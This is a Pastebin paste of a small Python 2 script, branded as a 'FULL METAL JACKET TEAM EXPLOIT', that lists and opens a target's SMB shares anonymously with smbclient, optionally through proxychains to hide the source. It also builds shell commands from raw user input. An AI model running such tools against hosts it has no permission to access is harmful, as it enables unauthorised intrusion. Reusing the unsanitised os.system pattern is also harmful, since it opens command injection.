Advertisement
Guest User

smb

a guest
Jul 21st, 2016
5,324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.42 KB | None | 0 0
  1. #!/usr/bin/python
  2. #coding: utf-8
  3.  
  4. import os
  5. import commands
  6.  
  7. print('''
  8. ███████╗███╗ ███╗██████╗
  9. ██╔════╝████╗ ████║██╔══██╗
  10. ███████╗██╔████╔██║██████╔╝
  11. ╚════██║██║╚██╔╝██║██╔══██╗
  12. ███████║██║ ╚═╝ ██║██████╔╝
  13. ╚══════╝╚═╝ ╚═╝╚═════╝
  14. FULL METAL JACKET TEAM EXPLOIT
  15. ''')
  16.  
  17. print "\n"
  18. print "\nSMB >",
  19. ip = raw_input()
  20. print "\n"
  21. print "\nUse proxychains? (Y/N):",
  22. pchains = raw_input()
  23.  
  24. if pchains == 'Y' or pchains =='y' or pchains == '':
  25. print "\n"
  26. print "Listing folders..."
  27. print "\n"
  28. os.system("proxychains smbclient -L " + ip + " -N")
  29. print "\n "
  30. elif pchains == 'N' or pchains == 'n':
  31. print "\n"
  32. print "Listing folders..."
  33. print "\n "
  34. os.system("smbclient -L " + ip + " -N")
  35. print "\n "
  36.  
  37.  
  38.  
  39. print "\nSharename:",
  40. sn = raw_input()
  41. print "\n "
  42.  
  43. if pchains == 'Y' or pchains =='y' or pchains == '':
  44. print "\n"
  45. print "\nFolder " + sn
  46. os.system("proxychains smbclient //" + ip + "/" + sn +" -N")
  47. print "\n"
  48. elif pchains == 'N' or pchains == 'n':
  49. print "\n "
  50. print "\nFolder >" + sn
  51. print "\n "
  52. os.system("smbclient //" + ip + "/" + sn +" -N")
  53. print "\n "
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement